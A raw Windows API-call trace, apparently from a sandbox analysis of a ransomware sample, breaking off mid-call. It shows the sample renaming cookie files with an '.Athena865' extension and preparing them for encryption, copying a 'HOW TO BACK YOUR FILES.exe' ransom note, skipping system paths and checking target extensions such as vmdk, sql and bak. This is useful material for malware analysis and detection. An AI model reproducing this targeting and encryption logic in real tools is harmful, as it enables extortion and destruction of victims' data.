lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@track.adform[2].txt", lpString2=".dll") returned 1 [0101.176] lstrlenW (lpString=".lnk") returned 4 [0101.176] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@track.adform[2].txt", lpString2=".lnk") returned 1 [0101.176] lstrlenW (lpString=".ini") returned 4 [0101.176] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@track.adform[2].txt", lpString2=".ini") returned 1 [0101.176] lstrlenW (lpString=".sys") returned 4 [0101.176] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@track.adform[2].txt", lpString2=".sys") returned 1 [0101.176] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned 40 [0101.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.Athena865") returned 109 [0101.176] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.178] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.178] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=178) returned 1 [0101.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.179] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.179] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.179] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c0, lpName=0x0) returned 0x17c [0101.181] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c0) returned 0x100000 [0101.181] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.182] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.182] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.182] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@www.bing[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@www.bing[2].txt" [0101.183] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned 36 [0101.183] lstrlenW (lpString="Athena865") returned 9 [0101.183] lstrcmpiW (lpString1="ng[2].txt", lpString2="Athena865") returned 1 [0101.183] lstrlenW (lpString=".dll") returned 4 [0101.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.bing[2].txt", lpString2=".dll") returned 1 [0101.183] lstrlenW (lpString=".lnk") returned 4 [0101.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.bing[2].txt", lpString2=".lnk") returned 1 [0101.183] lstrlenW (lpString=".ini") returned 4 [0101.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.bing[2].txt", lpString2=".ini") returned 1 [0101.183] lstrlenW (lpString=".sys") returned 4 [0101.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.bing[2].txt", lpString2=".sys") returned 1 [0101.183] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned 36 [0101.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.Athena865") returned 105 [0101.183] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.185] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=215) returned 1 [0101.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.186] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.186] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.186] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0101.188] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0101.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.189] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.189] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.190] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" [0101.190] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned 40 [0101.190] lstrlenW (lpString="Athena865") returned 9 [0101.190] lstrcmpiW (lpString1="in[1].txt", lpString2="Athena865") returned 1 [0101.190] lstrlenW (lpString=".dll") returned 4 [0101.190] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", lpString2=".dll") returned 1 [0101.190] lstrlenW (lpString=".lnk") returned 4 [0101.190] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", lpString2=".lnk") returned 1 [0101.190] lstrlenW (lpString=".ini") returned 4 [0101.190] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", lpString2=".ini") returned 1 [0101.190] lstrlenW (lpString=".sys") returned 4 [0101.190] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", lpString2=".sys") returned 1 [0101.190] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned 40 [0101.190] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.Athena865") returned 109 [0101.190] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.191] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=169) returned 1 [0101.191] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.192] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.192] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.192] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x17c [0101.194] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0101.195] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.196] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.196] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.196] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@www.msn[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned="5p5nrgjn0js_halpmcxz@www.msn[2].txt" [0101.196] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned 35 [0101.196] lstrlenW (lpString="Athena865") returned 9 [0101.196] lstrcmpiW (lpString1="sn[2].txt", lpString2="Athena865") returned 1 [0101.196] lstrlenW (lpString=".dll") returned 4 [0101.196] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.msn[2].txt", lpString2=".dll") returned 1 [0101.196] lstrlenW (lpString=".lnk") returned 4 [0101.196] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.msn[2].txt", lpString2=".lnk") returned 1 [0101.196] lstrlenW (lpString=".ini") returned 4 [0101.196] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.msn[2].txt", lpString2=".ini") returned 1 [0101.196] lstrlenW (lpString=".sys") returned 4 [0101.196] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@www.msn[2].txt", lpString2=".sys") returned 1 [0101.196] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned 35 [0101.197] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.Athena865") returned 104 [0101.197] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.197] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.198] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1026) returned 1 [0101.198] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.199] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.199] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.199] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x17c [0101.200] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0101.202] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.203] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.203] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.203] lstrcpyW (in: lpString1=0x241e8be, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat" [0101.203] lstrlenW (lpString="index.dat") returned 9 [0101.203] lstrlenW (lpString="Athena865") returned 9 [0101.203] lstrlenW (lpString=".dll") returned 4 [0101.203] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1 [0101.203] lstrlenW (lpString=".lnk") returned 4 [0101.203] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1 [0101.203] lstrlenW (lpString=".ini") returned 4 [0101.204] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1 [0101.204] lstrlenW (lpString=".sys") returned 4 [0101.204] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1 [0101.204] lstrlenW (lpString="index.dat") returned 9 [0101.204] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\index.dat.Athena865") returned 78 [0101.204] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\index.dat.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\index.dat.athena865"), dwFlags=0x1) returned 1 [0101.205] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\index.dat.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\index.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.205] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32768) returned 1 [0101.205] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.206] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.206] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.206] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8300, lpName=0x0) returned 0x17c [0101.208] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8300) returned 0x100000 [0101.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.211] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.211] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.212] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf" [0101.212] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf" [0101.212] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.212] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.213] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.213] GetLastError () returned 0x0 [0101.213] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.214] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.214] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2941c50, ftCreationTime.dwHighDateTime=0x1d4c700, ftLastAccessTime.dwLowDateTime=0xc5b1b0c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5b1b0c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.215] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.215] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.215] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2941c50, ftCreationTime.dwHighDateTime=0x1d4c700, ftLastAccessTime.dwLowDateTime=0xc5b1b0c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5b1b0c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.215] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.215] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.215] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.215] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11bfbb70, ftCreationTime.dwHighDateTime=0x1d4d00c, ftLastAccessTime.dwLowDateTime=0xf71d6690, ftLastAccessTime.dwHighDateTime=0x1d4d29b, ftLastWriteTime.dwLowDateTime=0xf71d6690, ftLastWriteTime.dwHighDateTime=0x1d4d29b, nFileSizeHigh=0x0, nFileSizeLow=0x6174, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="126u33D16r7P2LIlBaI.odp", cAlternateFileName="126U33~1.ODP")) returned 1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2=".") returned 1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="..") returned 1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="windows") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="bootmgr") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="temp") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="pagefile.sys") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="boot") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="ids.txt") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="ntuser.dat") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="perflogs") returned -1 [0101.215] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2="MSBuild") returned -1 [0101.215] lstrlenW (lpString="126u33D16r7P2LIlBaI.odp") returned 23 [0101.216] lstrcpyW (in: lpString1=0x241e8be, lpString2="126u33D16r7P2LIlBaI.odp" | out: lpString1="126u33D16r7P2LIlBaI.odp") returned="126u33D16r7P2LIlBaI.odp" [0101.216] lstrlenW (lpString="126u33D16r7P2LIlBaI.odp") returned 23 [0101.216] lstrlenW (lpString="Athena865") returned 9 [0101.216] lstrcmpiW (lpString1="IlBaI.odp", lpString2="Athena865") returned 1 [0101.216] lstrlenW (lpString=".dll") returned 4 [0101.216] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2=".dll") returned 1 [0101.216] lstrlenW (lpString=".lnk") returned 4 [0101.216] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2=".lnk") returned 1 [0101.216] lstrlenW (lpString=".ini") returned 4 [0101.216] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2=".ini") returned 1 [0101.216] lstrlenW (lpString=".sys") returned 4 [0101.216] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.odp", lpString2=".sys") returned 1 [0101.216] lstrlenW (lpString="126u33D16r7P2LIlBaI.odp") returned 23 [0101.216] lstrlenW (lpString="bak") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="bak") returned 1 [0101.216] lstrlenW (lpString="ba_") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="ba_") returned 1 [0101.216] lstrlenW (lpString="dbb") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="dbb") returned 1 [0101.216] lstrlenW (lpString="vmdk") returned 4 [0101.216] lstrcmpiW (lpString1=".odp", lpString2="vmdk") returned -1 [0101.216] lstrlenW (lpString="rar") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="rar") returned -1 [0101.216] lstrlenW (lpString="zip") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="zip") returned -1 [0101.216] lstrlenW (lpString="tgz") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="tgz") returned -1 [0101.216] lstrlenW (lpString="vbox") returned 4 [0101.216] lstrcmpiW (lpString1=".odp", lpString2="vbox") returned -1 [0101.216] lstrlenW (lpString="vdi") returned 3 [0101.216] lstrcmpiW (lpString1="odp", lpString2="vdi") returned -1 [0101.217] lstrlenW (lpString="vhd") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="vhd") returned -1 [0101.217] lstrlenW (lpString="vhdx") returned 4 [0101.217] lstrcmpiW (lpString1=".odp", lpString2="vhdx") returned -1 [0101.217] lstrlenW (lpString="avhd") returned 4 [0101.217] lstrcmpiW (lpString1=".odp", lpString2="avhd") returned -1 [0101.217] lstrlenW (lpString="db") returned 2 [0101.217] lstrcmpiW (lpString1="dp", lpString2="db") returned 1 [0101.217] lstrlenW (lpString="db2") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="db2") returned 1 [0101.217] lstrlenW (lpString="db3") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="db3") returned 1 [0101.217] lstrlenW (lpString="dbf") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="dbf") returned 1 [0101.217] lstrlenW (lpString="mdf") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="mdf") returned 1 [0101.217] lstrlenW (lpString="mdb") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="mdb") returned 1 [0101.217] lstrlenW (lpString="sql") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="sql") returned -1 [0101.217] lstrlenW (lpString="sqlite") returned 6 [0101.217] lstrcmpiW (lpString1="aI.odp", lpString2="sqlite") returned -1 [0101.217] lstrlenW (lpString="sqlite3") returned 7 [0101.217] lstrcmpiW (lpString1="BaI.odp", lpString2="sqlite3") returned -1 [0101.217] lstrlenW (lpString="sqlitedb") returned 8 [0101.217] lstrcmpiW (lpString1="lBaI.odp", lpString2="sqlitedb") returned -1 [0101.217] lstrlenW (lpString="xml") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="xml") returned -1 [0101.217] lstrlenW (lpString="$er") returned 3 [0101.217] lstrcmpiW (lpString1="odp", lpString2="$er") returned 1 [0101.217] lstrlenW (lpString="4dd") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="4dd") returned 1 [0101.218] lstrlenW (lpString="4dl") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="4dl") returned 1 [0101.218] lstrlenW 